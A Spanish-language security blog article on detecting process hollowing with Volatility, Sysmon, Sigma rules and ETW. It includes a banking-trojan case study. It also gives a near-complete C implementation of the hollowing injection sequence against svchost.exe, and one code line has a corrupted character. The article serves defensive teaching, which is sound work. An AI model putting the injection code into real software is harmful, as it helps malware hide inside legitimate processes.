Process Hollowing: Detección con Volatility y Análisis de Memoria
Análisis completo de la técnica de process hollowing: API calls involucradas (CreateProcess SUSPENDED, NtUnmapViewOfSection, WriteProcessMemory, ResumeThread), detección con Volatility (malfind, hollowfind), análisis forense de memoria, caso de estudio, IOCs y mapeo MITRE ATT&CK T1055.012.
Qué es Process Hollowing
Process hollowing (MITRE ATT&CK T1055.012) es una técnica de inyección de proceso en la que el atacante crea un proceso legítimo en estado suspendido, reemplaza su código en memoria con un payload malicioso, y reanuda la ejecución. El resultado es un proceso que aparenta ser legítimo desde la perspectiva del sistema operativo (nombre correcto, PID normal, proceso padre esperado) pero que ejecuta código completamente diferente.
Esta técnica es especialmente peligrosa porque:
- El proceso aparece como legítimo en el administrador de tareas
- El binario en disco es el ejecutable legítimo original
- El proceso padre es el esperado para ese tipo de proceso
- Las herramientas que solo analizan disco no detectan la anomalía
- Solo el análisis de memoria revela la discrepancia
API Calls: la secuencia de process hollowing
La implementación clásica de process hollowing sigue una secuencia precisa de llamadas a la API de Windows:
Paso 1: CreateProcess con CREATE_SUSPENDED
// Crear el proceso objetivo en estado suspendido
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessW(
L"C:\\Windows\\System32\\svchost.exe", // Proceso legítimo
NULL,
NULL, NULL,
FALSE,
CREATE_SUSPENDED, // CLAVE: el proceso no ejecuta código aún
NULL, NULL,
&si, &pi
);
// pi.hProcess y pi.hThread contienen los handles del proceso suspendido
El flag CREATE_SUSPENDED (0x00000004) es el indicador más importante. El proceso se crea pero su hilo principal no ejecuta ninguna instrucción.
Paso 2: NtUnmapViewOfSection (vaciado de memoria)
// Obtener la dirección base del proceso objetivo
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// En x64, la dirección base está en ctx.Rdx + 0x10
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPVOID)(ctx.Rdx + 0x10),
&imageBase, sizeof(LPVOID), NULL);
// Vaciar la sección de imagen del proceso
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
pNtUnmapViewOfSection NtUnmapViewOfSection =
(pNtUnmapViewOfSection)GetProcAddress(
GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, imageBase);
NtUnmapViewOfSection es una función nativa de ntdll.dll que elimina la imagen PE mapeada del proceso objetivo. Tras esta llamada, el espacio de memoria donde residía el código legítimo queda vacío.
Paso 3: VirtualAllocEx y WriteProcessMemory
// Asignar nueva memoria en el proceso objetivo
LPVOID newBase = VirtualAllocEx(
pi.hProcess,
imageBase, // Misma dirección base
malwareImageSize, // Tamaño del payload
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX - indicador de inyección
);
// Escribir headers PE del malware
WriteProcessMemory(pi.hProcess, newBase,
malwareBuffer, malwareHeaders->OptionalHeader.SizeOfHeaders, NULL);
// Escribir cada sección del PE malicioso
for (int i = 0; i < malwareHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER section = §ions[i];
WriteProcessMemory(pi.hProcess,
(LPVOID)((DWORD_PTR)newBase + section->VirtualAddress),
(LPVOID)((DWORD_PTR)malwareBuffer + section->PointerToRawData),
section->SizeOfRawData, NULL);
}
Paso 4: Ajustar el contexto y ResumeThread
// Actualizar la dirección de entrada en el contexto del hilo
ctx.Rcx = (DWORD64)((DWORD_PTR)newBase +
malwareHeaders->OptionalHeader.AddressOfEntryPoint);
// Actualizar la dirección base en el PEB
WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Rdx + 0x10),
&newBase, sizeof(LPVOID), NULL);
// Establecer el nuevo contexto
SetThreadContext(pi.hThread, &ctx);
// Reanudar la ejecución - el proceso ahora ejecuta el malware
ResumeThread(pi.hThread);
Diagrama de la secuencia completa
Proceso Padre (Malware) Proceso Hijo (svchost.exe)
| |
|-- CreateProcess(SUSPENDED) ------->| [Creado, suspendido]
| | [Código legítimo en memoria]
| |
|-- GetThreadContext() ------------->| [Leer contexto del hilo]
| |
|-- NtUnmapViewOfSection() --------->| [Memoria vaciada]
| | [Sin código]
| |
|-- VirtualAllocEx(RWX) ------------>| [Nueva memoria asignada]
| |
|-- WriteProcessMemory() ----------->| [Payload escrito]
| | [Código malicioso en memoria]
| |
|-- SetThreadContext() ------------->| [Entry point actualizado]
| |
|-- ResumeThread() ----------------->| [EJECUTANDO MALWARE]
| | [Aparenta ser svchost.exe]
Detección con Volatility
Volatility (v2 y v3) es la herramienta de referencia para el análisis forense de memoria y la detección de process hollowing.
Preparación: obtener un volcado de memoria
# Con WinPmem (herramienta de adquisición de memoria)
winpmem_mini_x64.exe memory_dump.raw
# Con DumpIt
DumpIt.exe /OUTPUT memory_dump.raw
# Con Volatility live (si el sistema aún está encendido)
# No recomendado en producción, altera la memoria
Plugin malfind: detección de código inyectado
malfind busca regiones de memoria con permisos sospechosos (PAGE_EXECUTE_READWRITE o PAGE_EXECUTE_WRITECOPY) que contienen código ejecutable:
# Volatility 3
python3 vol.py -f memory_dump.raw windows.malfind
# Volatility 2
python2 vol.py -f memory_dump.raw --profile=Win10x64_19041 malfind
Salida típica cuando detecta process hollowing:
Process: svchost.exe PID: 4892 PPID: 712
0x00400000 MZ 90 00 03 00 00 00 04 ........
0x00400008 00 00 00 00 FF FF 00 00 ........
0x00400010 B8 00 00 00 00 00 00 00 ........
0x00400018 40 00 00 00 00 00 00 00 @.......
VAD Tag: VadS
Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 248, PrivateMemory: 1
** MZ header found at unexpected address in svchost.exe **
** This indicates potential process hollowing **
La clave es la presencia de un header MZ (inicio de ejecutable PE) en una región con permisos RWX dentro de un proceso que no debería tener código inyectado.
Plugin hollowfind (Volatility 2)
El plugin hollowfind está diseñado específicamente para detectar process hollowing:
# Instalar el plugin (si no está incluido)
# Colocar hollowfind.py en volatility/plugins/
python2 vol.py -f memory_dump.raw --profile=Win10x64_19041 hollowfind
Salida:
Process: svchost.exe (PID: 4892)
Hollowed: YES
Image Path (PEB): C:\Windows\System32\svchost.exe
Image in Memory: MISMATCH
Disk Hash: a1b2c3d4e5f6... (svchost.exe legítimo)
Memory Hash: f7e8d9c0b1a2... (payload malicioso)
Sections Mismatch:
.text - Disk: 0x1000-0x4000 / Memory: 0x1000-0x8000 (SIZE MISMATCH)
.rdata - Disk: 0x4000-0x5000 / Memory: NOT FOUND
Entry Point: 0x00401234 (not matching disk image)
Parent: services.exe (PID: 712) - EXPECTED for svchost.exe
Network Connections: 185.174.101[.]x:443 (C2)
Plugin procdump: extracción del payload
Una vez identificado el proceso hollowed, se puede extraer el payload de la memoria:
# Extraer el ejecutable inyectado
python3 vol.py -f memory_dump.raw windows.dumpfiles --pid 4892
# O usar procdump para volcar el proceso completo
python3 vol.py -f memory_dump.raw windows.pslist --pid 4892 --dump
Verificación con VAD (Virtual Address Descriptor)
# Listar las regiones de memoria del proceso sospechoso
python3 vol.py -f memory_dump.raw windows.vadinfo --pid 4892
Indicadores de hollowing en el VAD:
VAD Node Address: 0xFFFF9A0123456789
Start: 0x00400000 End: 0x0047FFFF
Tag: VadS
Protection: PAGE_EXECUTE_READWRITE ← Sospechoso
Flags: PrivateMemory: 1, MemCommit: 1
NOTA: svchost.exe legítimo tiene:
Protection: PAGE_EXECUTE_READ ← Normal
Tag: Vad (no VadS)
Comparación con procesos legítimos
# Listar todos los svchost.exe para comparar
python3 vol.py -f memory_dump.raw windows.pslist | grep svchost
PID PPID Name Threads Handles SessionId
--- ---- ---- ------- ------- ---------
892 712 svchost.exe 12 487 0
1044 712 svchost.exe 8 312 0
1232 712 svchost.exe 15 543 0
4892 712 svchost.exe 2 45 0 ← SOSPECHOSO
Indicadores de anomalía en el PID 4892:
- Hilos: solo 2 (los svchost legítimos suelen tener entre 5 y 50)
- Handles: solo 45 (significativamente menos que los demás)
- Pero: PPID correcto (712, services.exe) y nombre correcto
Caso de estudio: troyano bancario con process hollowing
Detección inicial
Un analista SOC observa una alerta de conexión saliente desde svchost.exe hacia una IP en un país que no forma parte de las operaciones normales de la empresa:
Alerta: Outbound connection to suspicious IP
Process: svchost.exe (PID: 4892)
Destination: 185.174.101[.]x:443
Protocol: HTTPS
Frequency: Every 30 seconds
Data volume: 2.3 KB per request
Análisis de la conexión
# Verificar las conexiones de red del proceso
Get-NetTCPConnection -OwningProcess 4892
LocalAddress LocalPort RemoteAddress RemotePort State
----------- --------- ------------- ---------- -----
10.10.5.42 52341 185.174.101.x 443 Established
Análisis con Sysmon
# Sysmon Event ID 1 - Process Create
EventID: 1
Image: C:\Windows\System32\svchost.exe
CommandLine: svchost.exe ← Sin parámetros (anómalo)
ParentImage: C:\Users\user\AppData\Local\Temp\invoice.exe
ParentCommandLine: invoice.exe
IntegrityLevel: Medium ← svchost normalmente corre como SYSTEM
NOTA: svchost.exe legítimo se ejecuta con:
- CommandLine: svchost.exe -k netsvcs (u otro grupo de servicios)
- ParentImage: services.exe
- IntegrityLevel: System
Estos tres indicadores confirman el hollowing:
- Sin parámetros -k: svchost.exe siempre se ejecuta con
-k [service_group] - Proceso padre incorrecto: debería ser services.exe, no invoice.exe
- Integridad Medium: debería ser System
Adquisición y análisis de memoria
# 1. Volcado de memoria del host
winpmem_mini_x64.exe \\forensics\cases\case_2026_05\memory.raw
# 2. Análisis con Volatility 3
python3 vol.py -f memory.raw windows.malfind --pid 4892
Process: svchost.exe Pid: 4892
0x00400000 4d 5a 90 00 03 00 00 00 MZ......
Protection: PAGE_EXECUTE_READWRITE
Tag: VadS
** PE header detected - potential hollowing **
# 3. Extraer el payload
python3 vol.py -f memory.raw windows.dumpfiles --pid 4892
# Output: pid.4892.0x400000.dmp
# 4. Analizar el payload extraído
file pid.4892.0x400000.dmp
# PE32+ executable (GUI) x86-64, for MS Windows
strings pid.4892.0x400000.dmp | grep -i "bank\|login\|password\|inject"
# BankLoginForm
# InjectBrowserHook
# GrabCredentials
# SendToC2
Determinación del malware
El análisis del payload extraído reveló un troyano bancario con las siguientes capacidades:
- Web injection: inyectaba formularios falsos en páginas de banca online
- Keylogging: capturaba pulsaciones de teclado en formularios de login
- Screenshot: capturaba pantalla cuando se detectaban URLs bancarias
- Exfiltración: enviaba credenciales robadas al C2 cada 30 segundos
Detección en tiempo real: más allá de Volatility
Sysmon Event ID 8: CreateRemoteThread
<Sysmon schemaversion="4.90">
<EventFiltering>
<CreateRemoteThread onmatch="include">
<!-- Cualquier thread creado en svchost desde proceso no-service -->
<TargetImage condition="is">C:\Windows\System32\svchost.exe</TargetImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>
Sysmon Event ID 25: Process Tampering
A partir de Sysmon 13.0, el Event ID 25 detecta directamente process hollowing:
<ProcessTampering onmatch="include">
<!-- Detectar hollowing en procesos críticos -->
<Image condition="is">C:\Windows\System32\svchost.exe</Image>
<Image condition="is">C:\Windows\explorer.exe</Image>
<Image condition="is">C:\Windows\System32\dllhost.exe</Image>
</ProcessTampering>
Regla Sigma
title: Process Hollowing Detection via Sysmon Process Tampering
id: hollow-detect-001
status: stable
description: >
Detecta process tampering (hollowing) en procesos críticos
del sistema mediante Sysmon Event ID 25
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 25
Type: 'Image is replaced'
Image|endswith:
- '\svchost.exe'
- '\explorer.exe'
- '\dllhost.exe'
- '\notepad.exe'
- '\regsvr32.exe'
- '\werfault.exe'
condition: selection
level: critical
tags:
- attack.defense_evasion
- attack.t1055.012
ETW (Event Tracing for Windows)
# Habilitar provider de Microsoft-Windows-Kernel-Process
# para detectar NtUnmapViewOfSection en procesos remotos
logman create trace HollowDetect -p Microsoft-Windows-Kernel-Process -o hollow.etl -ets
# Parsear eventos de tipo ImageUnmap en procesos no propios
# (requiere herramienta de parsing ETL)
IOCs y artefactos
Indicadores de proceso
Proceso svchost.exe sin parámetro -k
Proceso svchost.exe con proceso padre distinto de services.exe
Proceso con IntegrityLevel Medium cuando debería ser System
Proceso con muy pocos handles o hilos comparado con su baseline
Regiones de memoria PAGE_EXECUTE_READWRITE con header MZ
Hashes del caso de estudio
invoice.exe (dropper) d4e5f6a7...b8c9d0e1
payload extraído f2a3b4c5...d6e7f8a9
Red
185.174.101[.]x:443 C2 del troyano bancario
Callback cada 30 segundos vía HTTPS
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Defense Evasion | Process Injection: Process Hollowing | T1055.012 | Hollowing de svchost.exe |
| Execution | User Execution: Malicious File | T1204.002 | Ejecución del dropper invoice.exe |
| Credential Access | Input Capture: Keylogging | T1056.001 | Captura de credenciales bancarias |
| Collection | Screen Capture | T1113 | Screenshots en páginas bancarias |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Envío de credenciales al C2 |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | HTTPS beacon cada 30s |
Resumen de técnicas de detección
| Método | Efectividad | Momento | Limitaciones |
|---|---|---|---|
| Sysmon EID 25 | Alta | Tiempo real | Solo Sysmon 13.0+ |
| Sysmon EID 1 (cmdline) | Media | Tiempo real | No detecta hollowing directo, solo anomalías de proceso |
| Volatility malfind | Alta | Post-incidente | Requiere volcado de memoria |
| Volatility hollowfind | Muy alta | Post-incidente | Solo Volatility 2 |
| ETW Kernel-Process | Alta | Tiempo real | Complejo de implementar |
| EDR (behavioral) | Variable | Tiempo real | Depende del vendor |
La combinación de Sysmon Event ID 25 para detección en tiempo real y Volatility para análisis post-incidente proporciona la cobertura más completa contra process hollowing.
Preguntas frecuentes
Artículos relacionados
DLL Sideloading en Endpoint Corporativo: Hunting y Detección
Detectar Cobalt Strike Beacon en Red: Guía de Threat Hunting
LSASS Dump: Investigación de Robo de Credenciales
Threat Hunting: Movimiento Lateral con Sysmon y SIEM
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.